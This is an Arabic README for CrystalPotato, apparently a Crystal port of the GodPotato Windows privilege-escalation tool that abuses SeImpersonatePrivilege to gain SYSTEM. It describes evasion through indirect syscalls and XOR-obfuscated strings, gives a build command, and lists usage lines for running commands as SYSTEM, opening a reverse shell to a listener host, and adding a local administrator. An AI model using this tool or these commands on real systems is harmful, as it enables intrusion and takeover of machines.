
نسخة Crystal من GodPotato لاستغلال صلاحية SeImpersonatePrivilege باستخدام استدعاءات النظام غير المباشرة، وحل واجهات برمجة التطبيقات (API) ديناميكيًا، وإخفاء السلاسل النصية في وقت الترجمة. تشغيل الأوامر، أو القذائف العكسية، أو إضافة المستخدمين.
نسخة Crystal من GodPotato، وهي أداة لتصعيد الامتيازات محليًا من الحسابات التي تمتلك صلاحية SeImpersonatePrivilege إلى صلاحية SYSTEM. تعمل عن طريق استغلال DCOM OXID Resolver وانتحال هوية الأنابيب المُسمّاة (named pipes).
يتم حلّ واجهات برمجة تطبيقات Windows (APIs) ديناميكيًا واستدعاؤها عبر stubs استدعاءات نظام غير مباشرة، ويتم إخفاء جميع السلاسل النصية باستخدام XOR في وقت الترجمة، وبشكل افتراضي تتم طباعة مخرجات الأمر فقط. تم اختباره على Windows 10 و 11 و Server 2025.
يُترجم CrystalPotato إلى ملف واحد بدون تبعيات باستخدام Crystal على Windows:
crystal build CrystalPotato.cr -o CrystalPotato.exe --release --static
نفّذ أمرًا، أو شغّل قشرة عكسية (reverse shell)، أو أنشئ حساب مدير محلي.
CrystalPotato.exe -c <COMMAND>
CrystalPotato.exe -H <LHOST> -P <LPORT> [-c <SHELL>]
CrystalPotato.exe -u <USER> -pw <PASS>

GodPotato - التنفيذ الأصلي بلغة C# بواسطة BeichenDream.
RustPotato - تنفيذ بلغة Rust بواسطة safedv.
SigmaPotato - تنفيذ بلغة C# مع وظائف إضافية بواسطة tylerdotrar.
| العلامة | الوصف |
|---|
-c CMD | الأمر الذي سيتم تنفيذه بصلاحية SYSTEM أو القشرة المستخدمة للقشرة العكسية (الافتراضي: cmd.exe) |
-H HOST | مضيف مستمع القشرة العكسية |
-P PORT | منفذ مستمع القشرة العكسية |
-u USER | إنشاء مدير محلي - اسم المستخدم |
-pw PASS | إنشاء مدير محلي - كلمة المرور |
-p NAME | اسم أنبوب مخصص (الافتراضي: Crystal) |
-d | مخرجات التصحيح |
-dd | تتبع كامل |
-h | إظهار المساعدة |